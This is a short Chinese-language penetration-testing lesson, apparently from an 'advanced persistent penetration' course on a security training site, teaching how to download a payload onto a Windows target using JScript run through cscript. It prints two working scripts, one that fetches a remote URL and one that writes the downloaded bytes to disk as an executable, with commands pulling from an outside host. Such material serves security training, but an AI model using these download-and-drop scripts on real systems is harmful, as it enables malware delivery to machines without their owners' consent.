第四十三课：js一句话下载payload - 高级持续渗透 - 企业安全 - 看雪学苑-看雪-安全培训|安全招聘|www.kanxue.com

第四十三课：js一句话下载payload

专注APT攻击与防御

https://micropoor.blogspot.com/

windows 全版本都会默认支持js,并且通过cscript来调用达到下载payload的目的。

靶机:windows 2003

读取:

C:test>cscript /nologo downfile.js http://192.168.1.115/robots.txt

附代码:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");

WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);

WinHttpReq.Send();

WScript.Echo(WinHttpReq.ResponseText);

写入:

C:test>cscript /nologo dowfile2.js http://192.168.1.115/robots.txt

附代码:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");

WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);

WinHttpReq.Send();

BinStream = new ActiveXObject("ADODB.Stream");

BinStream.Type = 1;

BinStream.Open();

BinStream.Write(WinHttpReq.ResponseBody);

BinStream.SaveToFile("micropoor.exe");

后者的话:简单,易用,轻便。

Micropoor

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